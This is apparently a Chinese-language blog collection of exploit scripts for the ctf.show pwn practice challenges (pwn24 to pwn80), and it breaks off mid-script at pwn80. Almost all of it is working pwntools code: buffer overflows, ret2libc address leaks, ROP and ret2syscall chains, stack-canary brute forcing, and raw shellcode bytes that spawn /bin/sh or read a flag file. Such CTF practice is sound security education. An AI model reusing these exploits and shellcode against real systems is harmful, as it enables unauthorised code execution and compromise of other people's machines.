注:如对某exp看不懂可以留言

前置基础

pwn24

#coding:utf8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28200)

payload = asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

pwn25

from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28111")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x84 + 0x4 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址

payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)

# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn26

无exp

pwn27

无exp

pwn28

无exp

pwn29

无exp

pwn30

from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28111")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x84 + 0x4 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址

payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)

# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn31

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show',28205)

main_addr = int(p.recvline(),16)
base_addr = main_addr - elf.sym['main']
puts_plt = base_addr + elf.plt['puts']
puts_got = base_addr +elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebp = base_addr + 0x1fc0

payload = b'a' * 132 + p32(ebp) + b'aaaa' + p32(puts_plt) + p32(ctfshow_addr) + p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recv(4))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = 132 * b'a' + p32(ebp) + b'aaaa' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.sendline(payload2)
p.interactive()

pwn32


pwn33


pwn34


栈溢出

pwn35


pwn36

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show',28205)

main_addr = int(p.recvline(),16)
base_addr = main_addr - elf.sym['main']
puts_plt = base_addr + elf.plt['puts']
puts_got = base_addr +elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebp = base_addr + 0x1fc0

payload = b'a' * 132 + p32(ebp) + b'aaaa' + p32(puts_plt) + p32(ctfshow_addr) + p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recv(4))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = 132 * b'a' + p32(ebp) + b'aaaa' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.sendline(payload2)
p.interactive()

pwn37

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28151)

payload = b'a' * 22 + p32(0x8048521)
p.sendline(payload)
p.interactive()

pwn38

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28202)

payload = b'a' * 18 + p64(0x400658) 
p.sendline(payload)
p.interactive()

pwn39

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28182)

binsh_addr = 0x8048750
system_addr = 0x80483A0
payload = b'a' * 22 + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn40

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28146)

binsh_addr = 0x400808
poprdi = 0x4007e3
ret = 0x4004fe
system_addr = 0x400520
payload = b'a' * 18 + p64(poprdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p.sendline(payload)
p.interactive()

pwn41

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28186)

binsh_addr = 0x80487BA
poprdi = 0x4007e3
ret = 0x4004fe
system_addr = 0x80483D0
payload = b'a' * 22 + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn42

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28255)

binsh_addr = 0x400872
poprdi = 0x400843 
ret = 0x40053e
system_addr = 0x400560
payload = b'a' * 18 + p64(poprdi) + p64(binsh_addr) +p64(ret) + p64(system_addr)
p.sendline(payload)
p.interactive()

pwn43

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28144)

system_addr = 0x8048450
gets_addr = 0x8048420
buf2 = 0x804B060
payload = b'a' * 112 + p32(gets_addr) + p32(system_addr) + p32(buf2) + p32(buf2)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

pwn44

from pwn import *
context(os = 'linux',log_level = 'debug')
p = remote('pwn.challenge.ctf.show',28165)

system_addr = 0x400520
gets_addr = 0x400530
buf2 = 0x602080
poprdi = 0x4007f3
payload = b'a' * 18 + p64(poprdi) + p64(buf2) + p64(gets_addr) + p64(poprdi) + p64(buf2) + p64(system_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

pwn45

from pwn import *
from LibcSearcher import *
context(os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show',28297)

putsplt = elf.plt['puts']
putsgot = elf.got['puts']
ctf_addr = elf.sym['ctfshow']
payload1 = b'b' * 111 + p32(putsplt) + p32(ctf_addr) + p32(putsgot)

p.sendline(payload1)
puts_addr = u32(p.recvuntil('\xf7')[-4:])
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload2 = b'a' * 111 + p32(system_addr) + p32(ctf_addr) + p32(binsh_addr)
p.sendline(payload2)

p.interactive()

pwn46

from pwn import *
from LibcSearcher import *
#context(os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28269)

putsplt = elf.plt['puts']
putsgot = elf.got['puts']
ctf_addr = elf.sym['ctfshow']
rdi_addr = 0x400803 
ret_addr = 0x4004fe
payload1 = b'b' * 120 + p64(rdi_addr) + p64(putsgot) + p64(putsplt) + p64(ctf_addr) 

p.sendline(payload1)
#gdb.attach(p)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload2 = b'a' * 120 + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) 
p.sendline(payload2)

p.interactive()

pwn47

from pwn import *
from LibcSearcher import *

#context(os = 'linux',log_level = 'debug')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28277)
elf = ELF('./pwn')

#gdb.attach(p)
p.recvuntil('puts: ')
puts_addr = int(p.recvuntil("\n" , drop = True),16)
p.recvuntil('gift: ')
binsh_addr = int(p.recvuntil("\n" , drop = True),16)

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
offset = 0x9c +0x4
payload = b'a' * offset + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

pwn48

from pwn import *
from LibcSearcher import *

#context(os = 'linux',log_level = 'debug')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28260)
elf = ELF('./pwn')

offset = 111
putsplt = elf.plt['puts']
putsgot = elf.got['puts']
ctfshow = elf.sym['ctfshow']
payload = b'a' * offset + p32(putsplt) + p32(ctfshow) + p32(putsgot)
p.recvuntil('O.o?')
p.sendline(payload)
puts_addr = u32(p.recvuntil('\xf7')[-4:])

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(system_addr) + p32(0) +p32(binsh_addr)
p.sendline(payload2)

p.interactive()

pwn49

from pwn import *
from LibcSearcher import *

#context(os = 'linux',log_level = 'debug')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28164)
elf = ELF('./pwn')

offset = 22
mprotect_addr = 0x0806cdd0
popret = 0x0806dfe9
w_addr = 0x080da000 #所修改权限的地址
w_lens = 0x1000     #所修改权限的地址长度
w_auth = 7          #修改权限为可读可写可执行
read_addr = 0x0806bee0
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a' * offset + p32(mprotect_addr) + p32(popret) #通过将给mprotect所传参数pop出去再ret回来达到让程序继续执行read的目的
payload += p32(w_addr) + p32(w_lens) + p32(w_auth)         #mprotect所传参数
payload += p32(read_addr) + p32(w_addr)
payload += p32(0) + p32(w_addr) + p32(len(shellcode))
p.sendline(payload)
p.sendline(shellcode)

p.interactive()

pwn50

from pwn import *
from LibcSearcher import *
#context(os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28182)

putsplt = elf.plt['puts']
putsgot = elf.got['puts']
main_addr = elf.sym['main']
rdi_addr = 0x4007e3 
ret_addr = 0x4004fe
payload1 = b'b' * 40 + p64(rdi_addr) + p64(putsgot) + p64(putsplt) + p64(main_addr) 

p.sendlineafter(b'Hello CTFshow\n',payload1)
#gdb.attach(p)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload2 = b'a' * 40 + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) 
p.sendline(payload2)

p.interactive()


pwn51

from pwn import *
from LibcSearcher import *
#context(os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28249)

get_flag = 0x804902E
payload = b"I"*16 + p32(get_flag)
p.sendline(payload)

p.interactive()


pwn52

from pwn import *
from LibcSearcher import *
#context(os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28205)

offset = 0x6c + 4
flag_addr = 0x8048586
payload = b"a" * offset + p32(flag_addr) + p32(0) + p32(876) +p32(877)
p.sendline(payload)

p.interactive()


pwn53

from pwn import *
#context.log_level = 'critical'
canary = b''
for i in range(4):
    for c in range(0xFF):
        #io = process('./pwn')
        io = remote('pwn.challenge.ctf.show',28220)
        io.sendlineafter('>','-1')
        payload = b'a'*0x20 + canary + p8(c)
        io.sendafter('$ ',payload)
        io.recv(1)
        ans = io.recv()
        print(ans)
        if b'Canary Value Incorrect!' not in ans:
            print('The index({}),value({})'.format(i,c))
            canary += p8(c)
            break
        io.close()
print('canary=',canary)
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28220)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = b'a'*0x20 + canary + p32(0)*4 + p32(flag)
io.sendlineafter('>','-1')
io.sendafter('$ ',payload)
io.interactive()


pwn54

from pwn import *
#context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28202)
#io = process('./pwn')
payload = b'a' *256
io.sendlineafter('Input your Username:',payload)
io.recvuntil(',')
code = io.recvline()
#code.replace(b'/n',b'\x00')
io.sendline(code)
io.close()
io = remote('pwn.challenge.ctf.show',28202)
payload = b'a' *100
io.sendlineafter('Input your Username:',payload)
io.sendline(code)
io.interactive()

pwn55

from pwn import *
#context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28272)
elf = ELF('./pwn')
flag = elf.sym['flag']
flag1 = elf.sym['flag_func1']
flag2 = elf.sym['flag_func2']

payload = b'a' *48 + p32(flag1) + p32(flag2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)
io.sendline(payload)
io.interactive()

pwn56

from pwn import *
#context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28137)

io.interactive()

pwn57

from pwn import *
#context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28173)

io.interactive()

pwn58

from pwn import *
#context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28140)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn59

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28140)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn60

from pwn import *
#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28103)
buf2 = 0x804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a') + p32(buf2)
io.sendline(payload)
io.interactive()

pwn61

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28192)

shellcode = asm(shellcraft.sh())
io.recvuntil('[')
v5_addr = int(io.recvuntil(']',drop=True),16)
print(hex(v5_addr))
payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcode
io.sendline(payload)
io.interactive()

pwn62

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28307)

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.recvuntil(b'[')
v5_addr = int(io.recvuntil(b']',drop=True),16)
print(hex(v5_addr))
payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcode
io.sendline(payload)
io.interactive()

pwn63

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28279)

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.recvuntil(b'[')
v5_addr = int(io.recvuntil(b']',drop=True),16)
print(hex(v5_addr))
payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcode
io.sendline(payload)
io.interactive()

pwn64

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28167)

shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
io.recvuntil(b'different')
payload = shellcode
io.sendline(payload)
io.interactive()

pwn65

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28121)

shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(shellcode)
io.interactive()

pwn66

from pwn import *
from itertools import * 
import re
for i in range(1, 3):
	for j in product([p8(k) for k in range(256)], repeat=i):
		payload = b"\x00" + b"".join(j)
		res = disasm(payload)
		if (
			res != " ..."
			and not re.search(r"\[\w*?\]", res)
			and ".byte" not in res
		):
		print(res)

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28282)

shellcode = b'\x00'+b'\xc0' + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn67

from pwn import *
#context.log_level = 'debug'
context(os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28234)
elf = ELF('./pwn')
shellcode = asm(shellcraft.sh())

io.recvuntil('location: 0x')
position = int(io.recv(8),16)
print('addr:' + hex(position))
payload = b'\x90' * 1336 + shellcode
io.recvuntil('> ')
io.sendline(payload)
io.recvuntil('> ')
io.sendline(hex(position + 0x21 + 668))

io.interactive()

pwn68

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28198)
elf = ELF('./pwn')
shellcode = asm(shellcraft.sh())

io.recvuntil('location: 0x')
position = int(io.recv(12),16)
print('addr:' + hex(position))
payload = b'\x90' * 1336 + shellcode
io.recvuntil('> ')
io.sendline(payload)
io.recvuntil('> ')
io.sendline(hex(position+668+0x10+0x15+8))

io.interactive()

pwn69

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28213)
elf = ELF('./pwn')
mmap = 0x123000
jmp_rsp = 0x400a01
shellcode = shellcraft.open('./ctfshow_flag')
shellcode += shellcraft.read(3,mmap,100)
shellcode += shellcraft.write(1,mmap,100)
shellcode = asm(shellcode)

payload = asm(shellcraft.read(0,mmap,0x100)) + asm("mov rax,0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp) + asm("sub rsp,0x30; jmp rsp")
io.recvuntil('do')
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

pwn70

from pwn import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28226)
#io = process('./pwn')
elf = ELF('./pwn')

shellcode = 'push 0;mov r15, 0x67616c66;push r15;mov rdi, rsp;mov rsi, 0;mov rax, 2;syscall;'
shellcode += 'mov r14, 3;mov rdi, r14;mov rsi, rsp;mov rdx, 0xff;mov rax, 0;syscall;'
shellcode += 'mov rdi,1;mov rsi, rsp;mov rdx, 0xff;mov rax, 1;syscall;'
shellcode = asm(shellcode)
io.recvuntil('Welcome,tell me your name:\n')
io.sendline(shellcode)

io.interactive()

pwn71

from pwn import *
#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28189)
#io = process('./pwn')
elf = ELF('./pwn')

offsets = 0x70
eax = 0x080bb196
ecxebx = 0x0806eb91
edx = 0x0806eb6a
int80 = 0x08049421 #xi tong diao yong
binsh = 0x080be408
payload = b'a'*offsets + p32(eax) + p32(0xb) +p32(ecxebx) + p32(0) + p32(binsh) + p32(edx) + p32(0) + p32(int80)
io.recvuntil("Try to use ret2syscall!")
io.sendline(payload)

io.interactive()

pwn72

from pwn import *
#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28112)
#io = process('./pwn')
elf = ELF('./pwn')

int80 = 0x0806f350
popeax = 0x080bb2c6
popdcb = 0x0806ecb0
addr = 0x080eb000
offset = 44
payload = b'a'*offset + p32(popeax) + p32(3) + p32(popdcb) + p32(0x10) + p32(addr) + p32(0) + p32(int80)
payload += p32(popeax) + p32(0xb) + p32(popdcb) + p32(0) + p32(0) + p32(addr) + p32(int80)
io.recvuntil('where is my system?')
io.sendline(payload)
io.sendline('/bin/sh\x00')

io.interactive()

pwn73

from pwn import *
from struct import pack
#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28108)
elf = ELF('./pwn')

p = b'a' * 28

p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea060',16)) # @ .data
p += pack('<I', int('0x080b81c6',16)) # pop eax ; ret
p += b'/bin'
p += pack('<I', int('0x080549db',16)) # mov dword ptr [edx], eax ; ret
p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea064',16)) # @ .data + 4
p += pack('<I', int('0x080b81c6',16)) # pop eax ; ret
p += b'//sh'
p += pack('<I', int('0x080549db',16)) # mov dword ptr [edx], eax ; ret
p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea068',16)) # @ .data + 8
p += pack('<I', int('0x08049303',16)) # xor eax, eax ; ret
p += pack('<I', int('0x080549db',16)) # mov dword ptr [edx], eax ; ret
p += pack('<I', int('0x080481c9',16)) # pop ebx ; ret
p += pack('<I', int('0x080ea060',16)) # @ .data
p += pack('<I', int('0x080de955',16)) # pop ecx ; ret
p += pack('<I', int('0x080ea068',16)) # @ .data + 8
p += pack('<I', int('0x0806f02a',16)) # pop edx ; ret
p += pack('<I', int('0x080ea068',16)) # @ .data + 8
p += pack('<I', int('0x08049303',16)) # xor eax, eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16))# inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0807a86f',16)) # inc eax ; ret
p += pack('<I', int('0x0806cc25',16)) # int 0x80
io.sendline(p)

io.interactive()

pwn74

from pwn import *
#from struct import pack
#from LibcSearcher import *
#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28174)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

one_gadget = 0x10a2fc

io.recvuntil('this:')
printf_addr = int(io.recv(14),16)
print(hex(printf_addr))
#libc = LibcSearcher('printf',printf_addr)
base = printf_addr - libc.symbols['printf']

payload = base + one_gadget

io.sendline(str(payload))
io.interactive()

pwn75

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28267)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

offsets = 0x24
system_addr = elf.plt['system']
leaveret = 0x08048766 
io.recvuntil('codename:')
payload1 = b'a' * offsets + b'stop'
io.send(payload1)
io.recvuntil('stop')
main_ebp = u32(io.recv(4))
print(hex(main_ebp))
buf = main_ebp - 0x38
binsh = buf + 16
payload2 = b'aaaa' + p32(system_addr) + b'aaaa' + p32(binsh) + b'/bin/sh\x00'
payload = payload2.ljust(0x28,b'a') + p32(buf) + p32(leaveret)

io.send(payload)
io.interactive()

pwn76

from pwn import *
from base64 import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28175)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

input = 0x811eb40
shell = 0x8049284
payload = b'aaaa' + p32(shell) + p32(input) 
payload = base64.b64encode(payload)
io.recvuntil('login:')
io.sendline(payload)
io.interactive()

pwn77

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28235)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

rdiret = 0x4008e3
ret = 0x400576
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']
io.recvuntil('T^T')
offsets = 0x110 - 4
payload = b'a' *offsets + p32(0x110 - 4 + 1) + p64(0) + p64(rdiret) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
io.sendline(payload)
real_puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real_puts))
libc_base = real_puts - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
for binsh in libc.search('/bin/sh'):
    print(hex(binsh))
binsh += libc_base

payload = b'a' * offsets + p32(0x110 - 4 + 1) + p64(0) + p64(rdiret) + p64(binsh) + p64(ret) + p64(system_addr) + p64(ctfshow)
io.sendline(payload)
io.interactive()

pwn78

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28148)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

offsets = 0x58
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5
bss = 0x6c2000
syscall = 0x45bac5
payload = b'a' * offsets + p64(rax) + p64(0)
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(bss)
payload += p64(rdx) + p64(0x10)
payload += p64(syscall)

payload += p64(rax) + p64(59)
payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0)
payload += p64(rdx) + p64(0)
payload += p64(syscall)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

pwn79

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28253)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

shellcode = asm(shellcraft.sh())
call_eax = 0x80484a0
payload = shellcode + b'a' * (0x20c - len(shellcode)) + p32(call_eax)
io.recvuntil('input: ')
io.sendline(payload)

io.interactive()

pwn80

from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')


#io = process('./pwn')
#elf = ELF('./pwn')
#libc = ELF('./libc.so.6')

def connection():
    io = remote('pwn.challenge.ctf.show',28105)
    io.recvuntil('Do you know who is daniu?\n')
    return io

def try_onegadget(times):
    io = connection()
    addr = 0x10a2fc
    payload = b'a' * times + p64(addr)
    io.sendline(payload)
    io.interactive()

def get_buf_length():
    times = 1
    while 1:
        try:
            io = connection()
            payload = 'a' * times
            io.send(payload)
            data = io.recv()
            print(data)
            io.close()
            if b'No passwd,See you!' not in data:
                return times - 1
